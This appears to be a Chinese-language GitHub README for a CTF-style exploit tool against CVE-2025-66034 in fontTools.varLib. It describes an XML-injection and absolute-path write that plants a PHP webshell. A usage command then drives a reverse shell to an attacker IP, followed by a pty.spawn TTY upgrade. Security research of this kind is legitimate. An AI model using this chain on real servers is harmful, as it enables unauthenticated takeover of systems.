4nuxd/CVE-2025-66034
GitHub: 4nuxd/CVE-2025-66034
针对 fontTools.varLib 的任意文件写入漏洞,通过 XML 注入与路径绕过实现预认证 RCE 的自动化利用工具。
Stars: 0 | Forks: 0
# CVE-2025-66034 — fontTools varLib 任意文件写入 → RCE
## 漏洞详情
`fontTools.varLib` 处理 `.designspace` XML 文件以构建可变字体。两个弱点结合利用可实现预认证 RCE:
| # | 原语 | 详情 |
|---|-----------|--------|
| 1 | **通过 CDATA 分割进行 XML 注入** | `` 内由攻击者控制的内容被逐字写入输出字体文件主体,允许任意数据注入 |
| 2 | **通过 `os.path.join()` 绕过实现任意文件写入** | `` 的 `filename` 属性接受绝对路径。当传递给 `os.path.join()` 时,它会忽略预期的输出目录并写入攻击者指定的任何文件系统路径 |
链接这两个原语允许将 PHP webshell 写入 Web 可访问路径,从而实现未经认证的远程代码执行。
## 用法
```
python3 font_varlib.py \
--ip \
--port \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
```
### 选项
| 标志 | 描述 |
|------|-------------|
| `--ip` | 用于反向 Shell 回连的攻击者 IP |
| `--port` | 监听器端口 |
| `--upload` | 字体处理端点的完整 URL (POST) |
| `--webroot` | 映射到 Web 可访问目录的服务器端绝对路径 |
| `--shell` | Webshell 将在其下可访问的基础 URL |
| `--no-listen` | 跳过自动监听器 —— 改为打印手动命令 |
| `--pwncat` | 使用 `pwncat-cs` 代替 `nc`(如果可用,优先使用) |
### 依赖
```
pip install requests fonttools
```
## 工作原理
1. **Master fonts** — 使用 `fontTools.FontBuilder` 生成两个最小的 `.ttf` 文件(`source-light.ttf`,`source-regular.ttf`),作为 designspace 所需的 master
2. **恶意 `.designspace`** — 构建一个精心制作的 XML 文件,包含:
- 通过 `` 内的 CDATA 分割注入 PHP webshell
- 设置为 `` 的 `filename` 的绝对写入路径,通过 `os.path.join()` 绕过 `output_dir`
3. **上传** — `.designspace` + master fonts 被 POST 到处理端点
4. **触发** — 请求植入的 `.php` 文件,执行反向 Shell 载荷
5. **TTY 升级** — 连接后,脚本自动通过 `python3 -c 'import pty; pty.spawn("/bin/bash")'` 生成 PTY,并设置 `TERM` + `stty` 以获得完全交互式 Shell
## 披露信息
| 字段 | |
|-------|-|
| CVE | CVE-2025-66034 |
| 受影响组件 | `fontTools.varLib` |
| 影响 | 未经认证的任意文件写入 → 远程代码执行 |
| 上下文 | 暴露字体处理端点的 Web 应用程序 |
## 法律声明
此工具仅用于**授权渗透测试和 CTF 使用**。
请勿在您不拥有或未获得明确书面许可进行测试的系统上运行。
*由 [4nuxd](https://github.com/4nuxd/CVE-2025-66034) 提供*
标签:0day, Apache-2.0, CISA项目, CVE-2025-66034, Exploit, fontTools, PoC, Python, RCE, VarLib, Webshell, XML注入, 任意文件写入, 威胁模拟, 数据展示, 文件上传漏洞, 无后门, 暴力破解, 红队, 编程工具, 网络信息收集, 网络安全, 设计空间文件, 路径遍历, 远程代码执行, 逆向工具, 隐私保护